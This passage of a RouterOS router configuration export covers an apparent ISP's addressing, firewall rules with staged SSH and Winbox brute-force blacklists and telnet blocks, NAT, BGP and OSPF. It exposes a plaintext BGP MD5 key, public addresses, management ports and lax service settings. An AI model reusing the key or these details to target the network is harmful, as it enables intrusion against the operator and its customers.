||||||
|
add address=204.110.190.215/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.216/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.217/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.218/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.219/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.220/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.221/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.222/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.223/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.224/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.225/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.226/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.227/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.228/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.229/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.230/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.231/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.232/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.233/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.234/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.235/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.236/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.237/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.238/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.239/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.240/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.241/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.242/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.243/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.244/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.245/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.246/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.247/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.248/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.249/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.250/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.251/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.252/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.253/25 interface=cgnat network=204.110.190.128
|
||||||
|
add address=204.110.190.254/25 interface=cgnat network=204.110.190.128
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=10.0.0.249 client-id=1:0:21:9b:91:5c:b6 mac-address=\
|
||||||
|
00:21:9B:91:5C:B6 server=380-building
|
||||||
|
add address=204.110.191.205 mac-address=BC:24:11:8B:C0:9C
|
||||||
|
add address=10.0.0.250 client-id=1:48:a9:8a:38:3b:2d mac-address=\
|
||||||
|
48:A9:8A:38:3B:2D server=380-building
|
||||||
|
add address=10.0.0.253 client-id=\
|
||||||
|
ff:ca:53:9:5a:0:2:0:0:ab:11:2c:53:dd:b2:c1:50:9a:35 comment=truenas \
|
||||||
|
mac-address=BC:24:11:29:2B:5A server=380-building
|
||||||
|
add address=10.0.0.252 client-id=1:bc:24:11:f5:81:d6 mac-address=\
|
||||||
|
BC:24:11:F5:81:D6 server=380-building
|
||||||
|
add address=10.0.0.251 client-id=1:bc:24:11:6b:73:53 mac-address=\
|
||||||
|
BC:24:11:6B:73:53 server=380-building
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.0.0.0/24 dns-server=9.9.9.9,1.1.1.1 domain=vntx.net gateway=\
|
||||||
|
10.0.0.254 ntp-server=23.150.41.122
|
||||||
|
add address=204.110.191.192/26 dns-server=\
|
||||||
|
204.110.191.240,204.110.191.250,1.1.1.1 gateway=204.110.191.254
|
||||||
|
/ip dns
|
||||||
|
set servers=204.110.191.240,204.110.191.250
|
||||||
|
/ip firewall address-list
|
||||||
|
add address=204.110.188.0/22 list=trusted
|
||||||
|
add address=100.64.0.0/10 list=trusted
|
||||||
|
add address=10.0.0.0/8 list=trusted
|
||||||
|
add address=35.197.73.77 list=preseem
|
||||||
|
add address=35.199.29.237 list=preseem
|
||||||
|
add address=98.97.82.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.72.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.73.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.74.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.75.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.76.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.77.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.78.0/24 comment=starlink list=trusted
|
||||||
|
add address=129.222.79.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.80.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.81.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.83.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.84.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.85.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.86.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.87.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.88.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.89.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.90.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.91.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.92.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.93.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.94.0/24 comment=starlink list=trusted
|
||||||
|
add address=98.97.95.0/24 comment=starlink list=trusted
|
||||||
|
add address=52.158.209.86 list=trusted
|
||||||
|
add address=3.210.85.72 list=gaiia
|
||||||
|
add address=3.81.237.51 list=gaiia
|
||||||
|
add address=3.215.70.188 list=gaiia
|
||||||
|
add address=3.228.90.246 list=gaiia
|
||||||
|
add address=47.147.43.145 list=trusted
|
||||||
|
add address=71.41.226.117 comment=TWC list=BGP-NEIGHBORS
|
||||||
|
add address=204.110.191.185 comment=Preseem list=BGP-NEIGHBORS
|
||||||
|
add address=204.110.191.252 comment="Virtual RouterOS" list=BGP-NEIGHBORS
|
||||||
|
add address=204.110.188.0/22 list=bgp-networks
|
||||||
|
add address=151.243.11.0/24 list=abusive
|
||||||
|
add address=172.245.56.83 list=trusted
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=input comment="BGP Input" dst-port=179 protocol=tcp
|
||||||
|
add action=accept chain=output comment="BGP Output" protocol=tcp src-port=179
|
||||||
|
add action=accept chain=forward comment="BGP Forward" dst-port=179 protocol=\
|
||||||
|
tcp
|
||||||
|
add action=accept chain=forward comment="BGP Forward Reply" protocol=tcp \
|
||||||
|
src-port=179
|
||||||
|
add action=accept chain=input comment="OSPF Input" protocol=ospf
|
||||||
|
add action=accept chain=output comment="OSPF Output" protocol=ospf
|
||||||
|
add action=accept chain=forward comment="OSPF Forward" protocol=ospf
|
||||||
|
add action=accept chain=input comment="Established Input" connection-state=\
|
||||||
|
established,related
|
||||||
|
add action=accept chain=forward comment="Established Forward" \
|
||||||
|
connection-state=established,related
|
||||||
|
add action=accept chain=input comment="Allow Remote Winbox" disabled=yes \
|
||||||
|
in-interface=*18
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
add action=drop chain=forward dst-address=91.190.98.0/24 log=yes
|
||||||
|
add action=accept chain=forward dst-port=23 protocol=tcp src-address=\
|
||||||
|
204.110.190.208
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.219
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.222
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.252
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.8
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 src-address=\
|
||||||
|
52.158.209.86
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.210
|
||||||
|
add action=accept chain=forward disabled=yes dst-address=204.110.191.248 \
|
||||||
|
dst-port=3306 log=yes protocol=tcp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.248 dst-port=3306 \
|
||||||
|
protocol=tcp src-address-list=gaiia
|
||||||
|
add action=accept chain=forward disabled=yes dst-address=204.110.191.248
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.231
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.232 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum
|
||||||
|
add action=tarpit chain=input protocol=tcp src-address-list=abusive
|
||||||
|
add action=drop chain=forward src-address-list=abusive
|
||||||
|
add action=accept chain=forward connection-state=established,related \
|
||||||
|
disabled=yes
|
||||||
|
add action=accept chain=input connection-state=established,related,untracked \
|
||||||
|
disabled=yes
|
||||||
|
add action=drop chain=forward disabled=yes dst-port=3389 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum protocol=tcp
|
||||||
|
add action=drop chain=forward disabled=yes dst-port=3389 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum protocol=udp
|
||||||
|
add action=drop chain=forward comment="Drop anyone in Black List (SSH)." \
|
||||||
|
in-interface=sfp-sfpplus12-spectrum log-prefix="BL_Black List (SSH)" \
|
||||||
|
src-address-list="Black List (SSH)"
|
||||||
|
add action=drop chain=forward comment="block incoming ftp" disabled=yes \
|
||||||
|
dst-port=21 in-interface=sfp-sfpplus12-spectrum protocol=tcp
|
||||||
|
add action=drop chain=forward comment="block incoming telnet" dst-port=23 \
|
||||||
|
in-interface=sfp-sfpplus12-spectrum protocol=tcp
|
||||||
|
add action=drop chain=input comment="Drop all packets from public internet whi\
|
||||||
|
ch should not exist in public network" in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address-list=NotPublic
|
||||||
|
add action=drop chain=input disabled=yes dst-port=3784 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum log=yes protocol=udp
|
||||||
|
add action=drop chain=forward comment=bfd dst-port=3784 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum protocol=udp
|
||||||
|
add action=drop chain=input comment=bfd dst-port=3784 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum protocol=udp
|
||||||
|
add action=drop chain=input comment="Drop Invalid connections" \
|
||||||
|
connection-state=invalid
|
||||||
|
add action=add-src-to-address-list address-list=winbox_blacklist \
|
||||||
|
address-list-timeout=4w3d chain=input connection-state=new disabled=yes \
|
||||||
|
dst-port=8291 log=yes protocol=tcp src-address-list=winbox_stage3
|
||||||
|
add action=add-src-to-address-list address-list=winbox_stage3 \
|
||||||
|
address-list-timeout=1m chain=input connection-state=new disabled=yes \
|
||||||
|
dst-port=8291 protocol=tcp src-address-list=winbox_stage2
|
||||||
|
add action=add-src-to-address-list address-list=winbox_stage2 \
|
||||||
|
address-list-timeout=1m chain=input connection-state=new disabled=yes \
|
||||||
|
dst-port=8291 protocol=tcp src-address-list=winbox_stage1
|
||||||
|
add action=add-src-to-address-list address-list=winbox_stage1 \
|
||||||
|
address-list-timeout=1m chain=input connection-state=new disabled=yes \
|
||||||
|
dst-port=8291 protocol=tcp src-address-list=!vntx
|
||||||
|
add action=drop chain=forward comment="drop winbox brute downstream" \
|
||||||
|
disabled=yes dst-port=8291 protocol=tcp src-address-list=winbox_blacklist
|
||||||
|
add action=accept chain=input comment="BGP Neighbors" dst-port=179 protocol=\
|
||||||
|
tcp src-address-list=BGP-NEIGHBORS
|
||||||
|
add action=drop chain=input comment="Drop anyone in Black List (SSH)." \
|
||||||
|
disabled=yes in-interface=sfp-sfpplus12-spectrum log-prefix=\
|
||||||
|
"BL_Black List (SSH)" src-address-list="Black List (SSH)"
|
||||||
|
add action=jump chain=input comment="Jump to Black List (SSH) chain." \
|
||||||
|
dst-port=22 in-interface=sfp-sfpplus12-spectrum jump-target=\
|
||||||
|
"Black List (SSH) Chain" protocol=tcp
|
||||||
|
add action=drop chain=input comment=. dst-port=23 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum protocol=tcp
|
||||||
|
add action=drop chain=forward comment=. dst-port=23 in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum protocol=tcp
|
||||||
|
add action=jump chain=forward comment="Jump to Black List (SSH) chain." \
|
||||||
|
dst-port=22 in-interface=sfp-sfpplus12-spectrum jump-target=\
|
||||||
|
"Black List (SSH) Chain" protocol=tcp
|
||||||
|
add action=add-src-to-address-list address-list="Black List (SSH)" \
|
||||||
|
address-list-timeout=4w2d chain="Black List (SSH) Chain" comment="Transfer\
|
||||||
|
\_repeated attempts from Black List (SSH) Stage 3 to Black List (SSH)." \
|
||||||
|
connection-state=new in-interface=sfp-sfpplus12-spectrum log-prefix=\
|
||||||
|
"Add_Black List (SSH)" src-address-list="Black List (SSH) Stage 3"
|
||||||
|
add action=add-src-to-address-list address-list="Black List (SSH) Stage 3" \
|
||||||
|
address-list-timeout=1m chain="Black List (SSH) Chain" comment=\
|
||||||
|
"Add successive attempts to Black List (SSH) Stage 3." connection-state=\
|
||||||
|
new in-interface=sfp-sfpplus12-spectrum log-prefix=\
|
||||||
|
"Add_Black List (SSH) S3" src-address-list="Black List (SSH) Stage 2"
|
||||||
|
add action=add-src-to-address-list address-list="Black List (SSH) Stage 2" \
|
||||||
|
address-list-timeout=1m chain="Black List (SSH) Chain" comment=\
|
||||||
|
"Add successive attempts to Black List (SSH) Stage 2." connection-state=\
|
||||||
|
new in-interface=sfp-sfpplus12-spectrum log-prefix=\
|
||||||
|
"Add_Black List (SSH) S2" src-address-list="Black List (SSH) Stage 1"
|
||||||
|
add action=add-src-to-address-list address-list="Black List (SSH) Stage 1" \
|
||||||
|
address-list-timeout=1m chain="Black List (SSH) Chain" comment=\
|
||||||
|
"Add initial attempt to Black List (SSH) Stage 1." connection-state=new \
|
||||||
|
in-interface=sfp-sfpplus12-spectrum log-prefix="Add_Black List (SSH) S1" \
|
||||||
|
src-address-list=!trusted
|
||||||
|
add action=return chain="Black List (SSH) Chain" comment=\
|
||||||
|
"Return From Black List (SSH) chain."
|
||||||
|
add action=accept chain=forward disabled=yes dst-address=204.110.191.192/26 \
|
||||||
|
dst-port=3306 log=yes protocol=tcp src-address=162.243.131.32
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.197
|
||||||
|
add action=accept chain=forward comment=micromirror dst-address=\
|
||||||
|
204.110.191.235
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.219
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.8
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 protocol=icmp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=80 \
|
||||||
|
protocol=tcp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=443 \
|
||||||
|
protocol=tcp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.232 dst-port=14580 \
|
||||||
|
protocol=tcp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.232 dst-port=14501 \
|
||||||
|
protocol=tcp
|
||||||
|
add action=accept chain=forward comment=wireguard dst-address=204.110.191.247 \
|
||||||
|
dst-port=51820 protocol=udp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.247 dst-port=22 \
|
||||||
|
protocol=tcp
|
||||||
|
add action=drop chain=forward disabled=yes dst-address=204.110.191.192/26 \
|
||||||
|
dst-port=3306 log=yes protocol=tcp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=53 \
|
||||||
|
protocol=udp src-address-list=trusted
|
||||||
|
add action=accept chain=forward comment=ns2 dst-address=204.110.191.239 \
|
||||||
|
dst-port=53 protocol=udp
|
||||||
|
add action=accept chain=forward comment=ns1 dst-address=204.110.191.249 \
|
||||||
|
dst-port=53 protocol=udp
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=22 \
|
||||||
|
protocol=tcp src-address-list=trusted
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=22 \
|
||||||
|
protocol=tcp src-address-list=preseem
|
||||||
|
add action=accept chain=forward dst-address=204.110.191.192/26 \
|
||||||
|
src-address-list=trusted
|
||||||
|
add action=drop chain=forward dst-address=204.110.191.192/26 \
|
||||||
|
src-address-list=!trusted
|
||||||
|
add action=drop chain=input dst-port=8921 protocol=tcp src-address-list=\
|
||||||
|
!trusted
|
||||||
|
add action=drop chain=forward dst-port=8921 protocol=tcp src-address-list=\
|
||||||
|
!trusted
|
||||||
|
add action=drop chain=input disabled=yes in-interface=sfp-sfpplus12-spectrum \
|
||||||
|
src-address=100.64.0.0/10
|
||||||
|
add action=drop chain=output disabled=yes dst-address=100.64.0.0/10 \
|
||||||
|
out-interface=sfp-sfpplus12-spectrum
|
||||||
|
add action=drop chain=forward disabled=yes in-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address=100.64.0.0/10
|
||||||
|
add action=drop chain=forward disabled=yes out-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address=100.64.0.0/10
|
||||||
|
add action=drop chain=forward disabled=yes dst-address=100.64.0.0/10 \
|
||||||
|
out-interface=sfp-sfpplus12-spectrum
|
||||||
|
add action=accept chain=input comment="Established Input" connection-state=\
|
||||||
|
established,related
|
||||||
|
add action=accept chain=forward comment="Established Forward" \
|
||||||
|
connection-state=established,related
|
||||||
|
add action=accept chain=input comment=BGP dst-port=179 protocol=tcp
|
||||||
|
add action=accept chain=output comment=BGP protocol=tcp src-port=179
|
||||||
|
add action=accept chain=forward comment=BGP dst-port=179 protocol=tcp
|
||||||
|
add action=accept chain=forward comment=BGP protocol=tcp src-port=179
|
||||||
|
add action=accept chain=input comment=OSPF protocol=ospf
|
||||||
|
add action=accept chain=output comment=OSPF protocol=ospf
|
||||||
|
add action=accept chain=forward comment=OSPF protocol=ospf
|
||||||
|
add action=drop chain=forward dst-port=23 log-prefix=TELNET protocol=tcp
|
||||||
|
/ip firewall mangle
|
||||||
|
add action=mark-packet chain=prerouting disabled=yes new-packet-mark=Inactive \
|
||||||
|
passthrough=no src-address-list=Inactive
|
||||||
|
add action=mark-packet chain=prerouting disabled=yes dst-address-list=\
|
||||||
|
Inactive new-packet-mark=Inactive passthrough=no
|
||||||
|
add action=accept chain=postrouting disabled=yes protocol=tcp tcp-flags=ack
|
||||||
|
/ip firewall nat
|
||||||
|
add action=src-nat chain=srcnat comment="Internal NAT catch-all" \
|
||||||
|
out-interface=sfp-sfpplus12-spectrum src-address=10.0.0.0/8 to-addresses=\
|
||||||
|
204.110.191.190
|
||||||
|
add action=src-nat chain=srcnat out-interface=sfp-sfpplus12-spectrum \
|
||||||
|
src-address=10.0.0.0/24 to-addresses=204.110.190.254
|
||||||
|
add action=src-nat chain=srcnat comment="Loopback NAT" out-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address=10.254.254.0/24 to-addresses=\
|
||||||
|
204.110.191.190
|
||||||
|
add action=src-nat chain=srcnat comment="Loopback NAT" out-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address=10.254.254.0/24 to-addresses=\
|
||||||
|
204.110.191.190
|
||||||
|
add action=src-nat chain=srcnat out-interface=sfp-sfpplus12-spectrum \
|
||||||
|
src-address=10.0.0.0/8 to-addresses=204.110.191.190
|
||||||
|
add action=src-nat chain=srcnat comment="Internal Network NAT" out-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address=10.250.1.0/24 to-addresses=\
|
||||||
|
204.110.191.190
|
||||||
|
add action=src-nat chain=srcnat comment="Internal Network NAT" out-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address=10.250.1.0/24 to-addresses=\
|
||||||
|
204.110.191.190
|
||||||
|
add action=src-nat chain=srcnat comment="fallthrough CGNAT" disabled=yes \
|
||||||
|
out-interface=sfp-sfpplus12-spectrum src-address=100.64.0.0/10 \
|
||||||
|
to-addresses=204.110.190.254
|
||||||
|
add action=netmap chain=srcnat ipsec-policy=out,none out-interface=\
|
||||||
|
sfp-sfpplus12-spectrum src-address=100.64.0.0/10 to-addresses=\
|
||||||
|
204.110.190.128/25
|
||||||
|
add action=netmap chain=dstmap comment=\
|
||||||
|
"Port Forwarding Solution for CGNAT (TCP)" dst-address=204.110.190.128/25 \
|
||||||
|
dst-port=1024-65535 protocol=tcp to-addresses=100.64.0.0/10
|
||||||
|
add action=netmap chain=dstmap comment=\
|
||||||
|
"Port Forwarding Solution for CGNAT (UDP)" dst-address=204.110.190.128/25 \
|
||||||
|
dst-port=1024-65535 protocol=udp to-addresses=100.64.0.0/10
|
||||||
|
/ip firewall raw
|
||||||
|
add action=drop chain=prerouting src-address-list="Black List (SSH)"
|
||||||
|
add action=drop chain=prerouting disabled=yes src-address-list=abusive
|
||||||
|
add action=drop chain=prerouting disabled=yes src-address-list=\
|
||||||
|
winbox_blacklist
|
||||||
|
/ip proxy
|
||||||
|
set port=23435
|
||||||
|
/ip proxy access
|
||||||
|
add src-address=204.110.188.0/22
|
||||||
|
/ip route
|
||||||
|
add distance=1 gateway=71.41.226.117
|
||||||
|
add distance=1 dst-address=10.10.0.0/20 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.10.16.0/20 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.250.1.8/29 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.250.1.8/29 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.250.1.24/29 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.250.1.64/29 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.250.1.64/29 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.250.1.88/29 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.250.1.88/29 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.254.254.101/32 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=10.254.254.102/32 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=100.64.0.0/10 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=100.64.0.0/22 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=100.64.4.0/22 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=100.64.4.0/22 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=100.64.12.0/22 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=172.63.0.0/20 gateway=204.110.191.253
|
||||||
|
add distance=1 dst-address=204.110.188.0/22 gateway=204.110.191.181
|
||||||
|
add distance=1 dst-address=204.110.188.0/27 gateway=204.110.191.253
|
||||||
|
add distance=1 dst-address=204.110.188.32/27 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=204.110.188.32/27 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=204.110.188.224/27 gateway=204.110.191.185
|
||||||
|
add distance=1 dst-address=204.110.191.0/27 gateway=204.110.191.185
|
||||||
|
/ip service
|
||||||
|
set telnet disabled=yes
|
||||||
|
set ftp disabled=yes
|
||||||
|
set www address=204.110.188.0/22 port=2080
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10 port=1022
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl address=0.0.0.0/0 certificate=server
|
||||||
|
/ip ssh
|
||||||
|
set always-allow-password-login=yes forwarding-enabled=remote strong-crypto=\
|
||||||
|
yes
|
||||||
|
/ipv6 address
|
||||||
|
add address=2605:6000:0:8::f:373/127 advertise=no interface=\
|
||||||
|
sfp-sfpplus12-spectrum
|
||||||
|
add address=2606:1c80::1 interface=vlan9_sfpplus8
|
||||||
|
add address=2606:1c80:0:1002::1 interface=sfp-sfpplus11-preseem
|
||||||
|
/ipv6 firewall address-list
|
||||||
|
add address=2606:1c80::/32 list=bgp-networks
|
||||||
|
/ipv6 firewall filter
|
||||||
|
add action=accept chain=input comment="IPv6 BGP Input" dst-port=179 protocol=\
|
||||||
|
tcp
|
||||||
|
add action=accept chain=output comment="IPv6 BGP Output" protocol=tcp \
|
||||||
|
src-port=179
|
||||||
|
add action=accept chain=forward comment="IPv6 BGP Forward" dst-port=179 \
|
||||||
|
protocol=tcp
|
||||||
|
add action=accept chain=forward comment="IPv6 BGP Forward Reply" protocol=tcp \
|
||||||
|
src-port=179
|
||||||
|
add action=accept chain=input comment="IPv6 Established Input" \
|
||||||
|
connection-state=established,related
|
||||||
|
add action=accept chain=forward comment="IPv6 Established Forward" \
|
||||||
|
connection-state=established,related
|
||||||
|
/mpls interface
|
||||||
|
set [ find default=yes ] mpls-mtu=1530
|
||||||
|
add interface=sfp-sfpplus8-server-switch mpls-mtu=1530
|
||||||
|
/mpls ldp
|
||||||
|
set distribute-for-default-route=yes enabled=yes loop-detect=yes lsr-id=\
|
||||||
|
10.254.254.254 transport-address=10.254.254.254
|
||||||
|
/mpls ldp accept-filter
|
||||||
|
add
|
||||||
|
/mpls ldp advertise-filter
|
||||||
|
add
|
||||||
|
/mpls ldp interface
|
||||||
|
add disabled=yes interface=ether1
|
||||||
|
add disabled=yes interface=sfp-sfpplus11-preseem transport-address=\
|
||||||
|
10.254.254.254
|
||||||
|
add disabled=yes interface=vlan9_sfpplus8 transport-address=10.254.254.254
|
||||||
|
add interface=sfp-sfpplus8-server-switch
|
||||||
|
/routing bfd interface
|
||||||
|
set [ find default=yes ] disabled=yes
|
||||||
|
add interface=sfp-sfpplus7-core-direct
|
||||||
|
add interface=sfp-sfpplus11-preseem
|
||||||
|
/routing bgp network
|
||||||
|
add network=204.110.188.0/22 synchronize=no
|
||||||
|
add network=2606:1c80::/32 synchronize=no
|
||||||
|
/routing bgp peer
|
||||||
|
add in-filter=twc-in name=twc out-filter=twc-out remote-address=71.41.226.117 \
|
||||||
|
remote-as=11427 ttl=default
|
||||||
|
add address-families=ipv6 in-filter=twc-in name=twc-v6 out-filter=twc-out \
|
||||||
|
remote-address=2605:6000:0:8::f:372 remote-as=11427 ttl=default
|
||||||
|
add comment="TEAM-CYMRU BOGON Server #1" disabled=yes in-filter=\
|
||||||
|
BOGON-SERVER-IN max-prefix-limit=50 multihop=yes name=CYMRU-1 out-filter=\
|
||||||
|
BGP-DROP remote-address=38.229.6.20 remote-as=65332 tcp-md5-key=\
|
||||||
|
mC9LaaOi0P
|
||||||
|
add comment="TEAM-CYMRU BOGON Server #2" disabled=yes in-filter=\
|
||||||
|
BOGON-SERVER-IN max-prefix-limit=50 multihop=yes name=CYMRU-1 out-filter=\
|
||||||
|
BGP-DROP remote-address=38.229.46.20 remote-as=65332 tcp-md5-key=\
|
||||||
|
mC9LaaOi0P
|
||||||
|
add address-families=ip,ipv6 default-originate=always disabled=yes name=\
|
||||||
|
edge_core_preseem nexthop-choice=propagate out-filter=bgp-default-only \
|
||||||
|
remote-address=204.110.191.185 remote-as=393837
|
||||||
|
/routing filter
|
||||||
|
add action=accept chain=twc-out comment=blackhole disabled=yes prefix=\
|
||||||
|
204.110.188.197 prefix-length=32 set-bgp-communities=7486:666
|
||||||
|
add action=accept chain=twc-in prefix=0.0.0.0/0
|
||||||
|
add action=accept chain=twc-in prefix=0.0.0.0/0 prefix-length=0
|
||||||
|
add action=discard chain=twc-in disabled=yes prefix=0.0.0.0 prefix-length=\
|
||||||
|
0-32 protocol=""
|
||||||
|
add action=accept chain=twc-out prefix=204.110.188.0/22
|
||||||
|
add action=accept chain=twc-out prefix=2606:1c80::/32
|
||||||
|
add action=discard chain=twc-out
|
||||||
|
add action=discard chain=BGP-DROP
|
||||||
|
add action=accept bgp-communities=65333:888 chain=BOGON-SERVER-IN disabled=\
|
||||||
|
yes set-type=blackhole
|
||||||
|
add action=discard chain=BOGON-SERVER-IN disabled=yes
|
||||||
|
add action=discard chain=BGP-DROP
|
||||||
|
add action=accept chain=bgp-default-only disabled=yes prefix=0.0.0.0/0 \
|
||||||
|
prefix-length=0
|
||||||
|
add action=discard chain=bgp-default-only disabled=yes prefix=0.0.0.0/0 \
|
||||||
|
prefix-length=0-32
|
||||||
|
/routing ospf interface
|
||||||
|
add interface=sfp-sfpplus12-spectrum network-type=broadcast passive=yes
|
||||||
|
add interface=sfp-sfpplus11-preseem network-type=point-to-point use-bfd=yes
|
||||||
|
add cost=20 interface=sfp-sfpplus9 network-type=nbma use-bfd=yes
|
||||||
|
add interface=sfp-sfpplus10 network-type=nbma passive=yes
|
||||||
|
add cost=20 interface=ether1 network-type=broadcast
|
||||||
|
add interface=sfp-sfpplus8-server-switch network-type=broadcast
|
||||||
|
add cost=100 interface=sfp-sfpplus7-core-direct network-type=point-to-point \
|
||||||
|
use-bfd=yes
|
||||||
|
add interface=vlan9_sfpplus8 network-type=nbma
|
||||||
|
/routing ospf nbma-neighbor
|
||||||
|
add address=204.110.191.189 poll-interval=10s
|
||||||
|
add address=10.250.1.94
|
||||||
|
add address=10.250.1.57
|
||||||
|
add address=10.250.1.201
|
||||||
|
add address=10.250.2.1
|
||||||
|
add address=204.110.191.185 poll-interval=10s
|
||||||
|
